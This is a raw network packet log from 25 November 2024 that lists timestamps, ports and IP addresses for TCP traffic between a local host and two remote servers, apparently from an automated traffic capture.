Nov 25, 2024 12:09:02.960485935 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.960530043 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.961265087 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.961314917 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.961344004 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.961399078 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.962191105 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.962243080 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.962260008 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.962304115 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.963071108 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.963188887 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.963243008 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.963934898 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.963988066 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.964078903 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.964124918 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.964761019 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.964816093 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.964884043 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.964996099 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.965675116 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.965766907 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.965794086 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.965846062 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.966552019 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.966603041 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.966670990 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.966711044 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.967430115 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.967566967 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.967628002 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.968435049 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.968486071 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.968594074 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.968739033 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.969290972 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.969341993 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.969360113 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.969455004 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.970110893 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.970153093 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.970315933 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.970387936 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.971081972 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.971100092 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.971133947 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.971304893 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.971868038 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.972003937 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.972089052 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.972897053 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.972959995 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.972989082 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.973047018 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.973640919 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.973704100 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.973705053 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.973763943 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.974574089 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.974677086 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.974747896 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.975713015 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.975769043 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.975827932 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.975886106 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.976602077 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.976654053 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.976666927 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.976718903 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.977314949 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.977364063 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.977391005 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.977432966 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.978023052 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.978071928 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.978127003 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.978172064 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.978903055 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.978956938 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.978991985 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.979053020 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.979839087 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.979888916 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.979904890 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.979945898 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.980669022 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.980715990 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.980750084 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.980791092 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.981523037 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.981569052 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.981595039 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.981635094 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.982496977 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.982721090 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.982773066 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.983380079 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.983438969 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.983464956 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.983556986 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.984225035 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.984288931 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.984404087 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.984554052 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.985064983 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.985136032 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.985184908 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.985950947 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.986004114 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.986005068 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.986124039 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.990175962 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.990232944 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.990284920 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.990333080 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.990607977 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.990660906 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.990946054 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.990991116 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.991560936 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.991617918 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.991622925 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.991734028 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:02.992328882 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:02.992383957 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.104121923 CET	443	49834	20.189.173.24	192.168.2.8
Nov 25, 2024 12:09:03.104356050 CET	49834	443	192.168.2.8	20.189.173.24
Nov 25, 2024 12:09:03.104379892 CET	443	49834	20.189.173.24	192.168.2.8
Nov 25, 2024 12:09:03.105447054 CET	443	49834	20.189.173.24	192.168.2.8
Nov 25, 2024 12:09:03.105520010 CET	49834	443	192.168.2.8	20.189.173.24
Nov 25, 2024 12:09:03.105811119 CET	49834	443	192.168.2.8	20.189.173.24
Nov 25, 2024 12:09:03.105875015 CET	443	49834	20.189.173.24	192.168.2.8
Nov 25, 2024 12:09:03.106056929 CET	49834	443	192.168.2.8	20.189.173.24
Nov 25, 2024 12:09:03.106065035 CET	443	49834	20.189.173.24	192.168.2.8
Nov 25, 2024 12:09:03.106107950 CET	49834	443	192.168.2.8	20.189.173.24
Nov 25, 2024 12:09:03.106132030 CET	443	49834	20.189.173.24	192.168.2.8
Nov 25, 2024 12:09:03.144469976 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.144541025 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.144577026 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.144654036 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.144975901 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.145035028 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.145200968 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.145309925 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.145776987 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.146002054 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.146060944 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.146794081 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.146841049 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.146868944 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.146914959 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.147743940 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.147794962 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.147953033 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.148027897 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.148598909 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.148677111 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.148679972 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.148746967 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.149480104 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.149538040 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.149545908 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.149585962 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.150465965 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.150612116 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.150651932 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.150672913 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.151046991 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.151109934 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.151161909 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.151951075 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.152013063 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.152050972 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.152103901 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.152815104 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.152880907 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.152910948 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.152966022 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.153755903 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.153811932 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.153845072 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.154038906 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.154572010 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.154618979 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.154652119 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.154690027 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.154922962 CET	49834	443	192.168.2.8	20.189.173.24
Nov 25, 2024 12:09:03.155489922 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.155539989 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.155596018 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.155635118 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.156364918 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.156410933 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.156443119 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.156862974 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.157248974 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.157311916 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.157381058 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.157428026 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.158087969 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.158140898 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.158246040 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.158287048 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.158988953 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.159051895 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.159106016 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.159281015 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.159878016 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.159929991 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.159931898 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.160054922 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.160731077 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.160815001 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.160845041 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.160886049 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.161658049 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.161725044 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.161781073 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.161819935 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.162532091 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.162575960 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.162617922 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.162641048 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.163496017 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.163542032 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.163569927 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.163613081 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.164264917 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.164310932 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.164367914 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.164402962 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.165138006 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.165194988 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.165249109 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.165296078 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.166131020 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.166182995 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.166270018 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.166316986 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.166943073 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.167002916 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.167058945 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.167844057 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.167901993 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.167905092 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.167958021 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.168694019 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.168757915 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.168796062 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.168843985 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.169542074 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.169595003 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.169625998 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.169668913 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.170492887 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.170536995 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.170568943 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.170608044 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.171410084 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.171464920 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.171524048 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.171653986 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.172302961 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.172354937 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.172426939 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.172480106 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.173100948 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.173155069 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.173234940 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.173281908 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.174082041 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.174196959 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.174249887 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.174896955 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.174948931 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.175038099 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.175084114 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.175735950 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.175787926 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.175797939 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.175846100 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.176664114 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.176711082 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.176779985 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.176826954 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.177580118 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.177692890 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.177750111 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.178436041 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.178555965 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.178556919 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.178611994 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.179336071 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.179382086 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.179398060 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.179442883 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.180157900 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.180207968 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.180270910 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.180371046 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.181077003 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.181130886 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.181150913 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.181256056 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.181902885 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.182041883 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.182096004 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.182837009 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.182888985 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.183006048 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.183049917 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.183702946 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.183756113 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.183806896 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.184751987 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.184803963 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.184832096 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.184954882 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.185548067 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.185601950 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.185655117 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.185703993 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.186423063 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.186569929 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.186570883 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.186638117 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.187282085 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.187331915 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.187346935 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.187395096 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.191469908 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.191518068 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.191550970 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.191716909 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.191895008 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.191945076 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.192069054 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:03.192115068 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:03.192780972 CET	80	49830	185.215.113.16	192.168.2.8
